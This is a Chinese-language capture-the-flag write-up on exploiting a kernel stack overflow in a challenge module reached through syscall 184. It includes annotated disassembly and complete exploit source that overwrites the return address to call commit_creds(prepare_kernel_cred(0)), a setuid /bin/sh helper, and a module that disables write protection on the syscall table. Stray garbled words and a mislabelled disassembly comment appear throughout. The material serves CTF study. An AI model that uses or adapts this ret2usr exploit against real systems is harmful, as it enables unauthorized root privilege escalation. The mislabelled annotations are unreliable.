alictf linux exploit解題

1.加載模塊linux

sudo insmod module
dmesg看到有hook字樣,猜想多是模塊劫持了系統調用,或者也多是增長了系統調用shell

圖片1
而後本身寫了個程序來遍歷系統調用,確認了沒有增長系統調用
而後本身又寫了個模塊來遍歷sys_call_table和sys_ia32_call_table數組,確認是改動了系統調用.並且系統調用號是184數組

圖片2

同時/proc/kallsyms中的符號表和sys_call_table[184],看到了new_kbof_test函數,也就是說,syscall(184),會執行到new_kbof_test函數函數

圖片3

因而就分析new_kbof_test函數的功能和參數.
2.反彙編rootme.ko,分析函數功能和參數
(附件有詳細的反彙編報告)ui

圖片4
objdump -d rootme.ko > 1.txt  反編譯代碼段
readelf -r rootme.ko > 2.txt     讀重定位段的信息
根據重定位段的信息2.txt和反彙編代碼的結果1.txt,分析出了這兩個函數的功能.
new_kbof_test函數,接收兩個參數,第一個是字符串地址,第二個是一個整數類型.
從用戶空間拷貝字符串到內核空間,而後調用了buffer_overflow_test函數.
在buffer_overflow_test函數中,又複製相同的字符串到buffer_overflow_test的棧中,不過這個時候沒有檢測複製的長度,致使能夠覆蓋rip,函數返回時就會跳到咱們覆蓋的rip,利用開始.
3.編寫exploit
計算rip的偏移地址:0x100+8*3  0x100是buffer_overflow_test函數的棧大小,8*3是由於push了三個8字節的寄存器.
將rip覆蓋成exploit中用戶態中kernel_code函數的地址.code

圖片5
編譯方法:圖片

gcc test.c -o test
gcc exp.c -o exp
./exp

來張提權成功的截圖:ip

圖片6

exp.c:內存

#include <unistd.h>
 
#include <errno.h>
 
#include <string.h>
 
#include <stdio.h>
 
#include <stdlib.h>
 
#include <sys/mman.h>
 
#include <sys/types.h>
 
#include <sys/stat.h>
 
typedef int __attribute__((regparm(1))) (* _commit_creds)(unsigned long cred);
 
typedef unsigned long __attribute__((regparm(1))) (* _prepare_kernel_cred)(unsigned long cred);
 
typedef long __attribute__((regparm(2))) (* _sys_chmod) (const char *filename, mode_t mode);
 
typedef long __attribute__((regparm(3))) (*_sys_chown) (const char *filename, uid_t user, gid_t group);
 
_commit_creds commit_creds;
 
_prepare_kernel_cred prepare_kernel_cred;
 
_sys_chmod sys_chmod;
 
_sys_chown sys_chown;
 
char *filename="/home/kexp/test";
 
char exp[0x120]={'A'};
 
int __attribute__((regparm(3)))
 
kernel_code()
 
{
 
  commit_creds(prepare_kernel_cred(0));
 
  sys_chown(filename,0,0);
 
  sys_chmod(filename,7777);
 
  return -1;
 
}
 
unsigned long
 
get_symbol(char *name)
 
{
 
    FILE *f;
 
    unsigned long addr;
 
    char dummy, sym[512];
 
    int ret = 0;
 
 
 
    f = fopen("/proc/kallsyms", "r");
 
    if (!f) {
 
        return 0;
 
    }
 
 
 
    while (ret != EOF) {
 
        ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
 
        if (ret == 0) {
 
            fscanf(f, "%s\n", sym);
 
            continue;
 
        }
 
        if (!strcmp(name, sym)) {
 
            printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
 
            fclose(f);
 
            return addr;
 
        }
 
    }
 
    fclose(f);
 
    return 0;
 
}
 
void main()
 
{
 
unsigned long *asd=&exp[0x118];
 
*asd=(unsigned long)kernel_code;
 
commit_creds = (_commit_creds) get_symbol("commit_creds");
 
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
 
sys_chmod=(_sys_chmod) get_symbol("sys_chmod");
 
sys_chown=(_sys_chown) get_symbol("sys_chown");
 
if(sys_chmod==0||commit_creds==0||prepare_kernel_cred==0)
 
{
 
        printf("beiju\n");
 
}
 
syscall(184,exp,0x120);
 
}

test.c字符串

#include <sys/types.h>
 
#include <unistd.h>
 
#include<stdio.h>
 
void main()
 
{
 
setuid(0);
 
system("/bin/sh");
 
}

Myopen.c:(編譯Myopen.c的Makefile在下面)

#include <linux/module.h>
 
#include <linux/kernel.h>
 
#include <linux/init.h>
 
#include <asm/unistd.h>
 
#include <linux/syscalls.h>
 
#include <linux/highuid.h>
 
#define GPF_DISABLE write_cr0(read_cr0() & (~ 0x10000))
 
#define GPF_ENABLE write_cr0(read_cr0() | 0x10000)
 
MODULE_LICENSE("GPL");
 
MODULE_AUTHOR("Franz Pletz");
 
MODULE_DESCRIPTION("for teh lulz!");
 
char *rollfile;
 
void **sys_call_table = (void **)0xffffffff8130e070; /* TODO: change */
 
module_param(rollfile, charp, 0000);
 
MODULE_PARM_DESC(rollfile, "music trolling file");
 
module_param(sys_call_table, ulong, 0000);
 
MODULE_PARM_DESC(sys_call_table, "address of the system call table");
 
void set_addr_rw(unsigned long addr) {
 
unsigned int level;
 
pte_t *pte = lookup_address(addr, &level);
 
if(pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
 
}
 
void set_addr_ro(unsigned long addr) {
 
unsigned int level;
 
pte_t *pte = lookup_address(addr, &level);
 
pte->pte = pte->pte &~_PAGE_RW;
 
}
 
static int __init init_rickroll(void)
 
{
 
int i;
 
if(sys_call_table == NULL)
 
{
 
printk(KERN_ERR "Cannot find the system call address\n");
 
return -1; /* do not load */
 
} else {
 
printk(KERN_INFO "System call table found @ %lx\n", (unsigned long)sys_call_table);
 
}
 
set_addr_rw((unsigned long)sys_call_table);
 
GPF_DISABLE;
 
for(i=0;i<=298;i++)
 
{
 
printk(KERN_INFO "%d:%x\n",i,sys_call_table[i]);
 
}
 
return 0;
 
}
 
static void __exit exit_rickroll(void)
 
{
 
set_addr_ro((unsigned long)sys_call_table);
 
GPF_ENABLE;
 
}
 
module_init(init_rickroll);
 
module_exit(exit_rickroll);

編譯Myopen.c的Makefile:

obj-m+=myopen.o
all:
    make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd)

反彙編的結果(用ida看很簡單就能看出來,不過當時不清楚ida):

0000000000000071 <buffer_overflow_test>:
 
71:   41 54                   push   %r12
 
73:   ba 00 01 00 00          mov    $0x100,%edx
 
78:   41 89 f4                mov    %esi,%r12d   //%r12 buffer_overflow_test的第二個參數
 
7b:   31 f6                   xor    %esi,%esi
 
7d:   55                      push   %rbp
 
7e:   53                      push   %rbx
 
7f:   48 89 fb                mov    %rdi,%rbx    //rbx buffer_overflow_test的第一個參數
 
82:   48 81 ec 00 01 00 00    sub    $0x100,%rsp
 
89:   48 89 e7                mov    %rsp,%rdi
 
8c:   e8 00 00 00 00          callq  91 <buffer_overflow_test+0x20> memset(rdi=棧頂,rsi=0,rdx=0x100) 初始化棧
 
91:   49 63 cc                movslq %r12d,%rcx   //%r12 移動的字符個數 buffer_overflow_test的第二個參數,沒有檢查長度,有漏洞
 
94:   48 89 e7                mov    %rsp,%rdi    //棧頂
 
97:   48 89 de                mov    %rbx,%rsi    //%rbx  buffer_overflow_test的第一個參數,內存地址,可控內容,
 
9a:   fc                      cld                //增址
 
9b:   f3 a4                   rep movsb %ds:(%rsi),%es:(%rdi)  可控的內容=>棧中,這裏能夠覆蓋掉rip
 
9d:   48 81 c4 00 01 00 00    add    $0x100,%rsp
 
a4:   5b                      pop    %rbx
 
a5:   5d                      pop    %rbp
 
a6:   41 5c                   pop    %r12
 
a8:   c3                      retq

00000000000000a9 <new_kbof_test>:
 
a9:   41 54                   push   %r12
 
ab:   ba 00 01 00 00          mov    $0x100,%edx
 
b0:   49 89 fc                mov    %rdi,%r12
 
b3:   55                      push   %rbp
 
b4:   89 f5                   mov    %esi,%ebp
 
b6:   31 f6                   xor    %esi,%esi
 
b8:   53                      push   %rbx
 
b9:   48 81 ec 00 01 00 00    sub    $0x100,%rsp
 
c0:   48 89 e7                mov    %rsp,%rdi
 
c3:   e8 00 00 00 00          callq  c8 <new_kbof_test+0x1f> memset(rdi=rsp,esi=0,edx=0x100) 恰好棧是0x100,初始化棧爲0.
 
c8:   48 63 fd                movslq %ebp,%rdi   //???
 
cb:   be d0 00 00 00          mov    $0xd0,%esi
 
d0:   e8 00 00 00 00          callq  d5 <new_kbof_test+0x2c> memset(rdi=(傳入的第二個參數  長度),esi=0xd0) 分配內存0xd0
 
d5:   48 85 c0                test   %rax,%rax
 
d8:   48 89 c3                mov    %rax,%rbx //kmalloc的返回值,若是成功rdi,不成功返回NULL..
 
db:   74 14                   je     f1 <new_kbof_test+0x48>
 
dd:   89 ea                   mov    %ebp,%edx
 
df:   4c 89 e6                mov    %r12,%rsi
 
e2:   48 89 c7                mov    %rax,%rdi
 
e5:   e8 00 00 00 00          callq  ea <new_kbof_test+0x41>  copy_from_user (rdi=kmalloc返回值,rsi=傳入的第一個參數,edx=傳入的第二個參數) //
 
ea:   48 85 c0                test   %rax,%rax      //copy_from_user 成功返回0,不然就打印失敗信息
 
//?????????確認copy_from_user的工做方式    copy_from_user(to,from.length)
 
ed:   74 1f                   je     10e <new_kbof_test+0x65>
 
ef:   eb 09                   jmp    fa <new_kbof_test+0x51>
 
f1:   48 c7 c7 00 00 00 00    mov    $0x0,%rdi   //.rodata.str1.1 + 2d  kmalloc failed
 
 
 
f8:   eb 07                   jmp    101 <new_kbof_test+0x58>
 
fa:   48 c7 c7 00 00 00 00    mov    $0x0,%rdi            //.rodata.str1.1 + 3e copy data from user fail
 
 
 
101:   31 c0                   xor    %eax,%eax
 
103:   e8 00 00 00 00          callq  108 <new_kbof_test+0x5f> printk
 
108:   48 83 c8 ff             or     $0xffffffffffffffff,%rax
 
10c:   eb 0c                   jmp    11a <new_kbof_test+0x71>
 
10e:   89 ee                   mov    %ebp,%esi                //
 
110:   48 89 df                mov    %rbx,%rdi
 
113:   e8 00 00 00 00          callq  118 <new_kbof_test+0x6f> buffer_over_flow(rdi=kmalloc返回值,rsi=傳入的第二個參數)
 
118:   31 c0                   xor    %eax,%eax
 
11a:   48 81 c4 00 01 00 00       add    $0x100,%rsp
 
121:   5b                      pop    %rbx
 
122:   5d                      pop    %rbp
 
123:   41 5c                   pop    %r12
 
125:   c3                      retq
相關文章
相關標籤/搜索